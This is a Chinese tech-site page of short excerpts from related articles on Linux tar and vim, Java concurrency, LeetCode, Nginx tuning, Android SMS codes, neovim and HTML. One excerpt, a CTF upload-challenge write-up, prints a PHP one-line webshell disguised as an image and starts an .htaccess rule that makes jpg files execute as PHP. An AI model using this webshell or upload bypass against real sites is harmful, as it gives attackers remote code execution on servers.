相关文章
【Linux】系列入门摘抄笔记-6-tar打包压缩和vim编辑器
打包、压缩和解压命令
压缩文件一定要严格区分扩展名
tar 打包程序
tar [主选项+辅选项] [包名] [目标文件或目录]描述:tar命令是Linux下最常用的打包程序。使用tar命令打出来的包称为tar包,因为tar包文件的后缀通常是“.tar”。
每条tar命令只能有一个主选项,而辅助选项…
建站知识
2024/11/23 8:14:05
【JAVA多线程】JDK线程同步工具类:Semaphore、CountDownLatch、CyclicBarrier
目录
1.可能会遇到的线程协作场景
2.Semaphore
3.CountDownLatch
4.CyclicBarrier 1.可能会遇到的线程协作场景
在并发编程中,线程除了独自向前运行,还可能相互之间要进行协作,以保证完成最终总的目标。可能会遇到的几种任务之间的协作&…
建站知识
2024/11/23 8:14:04
力扣:1984. 学生分数的最小差值
1984. 学生分数的最小差值
这是道滑动窗口的题,但这道题要简单一点。
首先我们先对原数组排序,然后从头遍历,将元素放入队列中,超过k了就弹出队头,队尾减队头的差值最小的即为答案
class Solution {
public:int min…
建站知识
2024/11/23 8:14:07
Nginx 优化与防盗链
目录
一、隐藏版本号
方法一:修改配置文件
方法二:修改源码文件,重新编译安装
二、修改用户和组
三、缓存时间
四、日志切割(脚本)
五、连接超时
六、更改进程数
七、配置网页压缩
八、配置防盗链 一、隐藏版…
建站知识
2024/11/23 8:14:08
Android 获取短信验证
Android 获取短信验证
Android 获取短信验证 输入发短信的手机号,点击获取验证码,等接收到验证码后就会自动获取
SmsReceiver.Java import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
impor…
建站知识
2024/11/23 8:14:12
[vim] vim多窗口切换
需求
写代码的过程中,经常需要在不相邻窗口之间跳转。
方案
使用 neovim-window切换。 插件管理使用lazy.nvim
neovim配置
在~/.config/nvim/lua/plugins/下增加文件window-picker.lua,内容为
return {{"yorickpeterse/nvim-window",nam…
建站知识
2024/11/22 18:21:06
[upload]-[GXYCTF2019]BabyUpload1-笔记
尝试上传.htaccess和图片和一句话木马提示 php文件提示 响应头可以看到 构造一句话图片木马如下:
<script languagephp>eval($_POST[cmd]);</script> 上传成功 必须增加文件夹下jpg后缀解析php
.htaccess如下
<FilesMatch "jpg">Set…
建站知识
2024/11/22 19:15:13
html超文本标记语言 (HyperText Mark up Language)
1.概述
HTML(超文本标记语言)是构建网页的标准标记语言。它为网页提供结构和内容,允许开发者创建各种元素,比如文本、图像、链接、表格和表单等。是网页的基本骨架。
<!-- html骨架 -->
<html> <!-- 网页中的根标…
建站知识
2024/11/22 20:24:01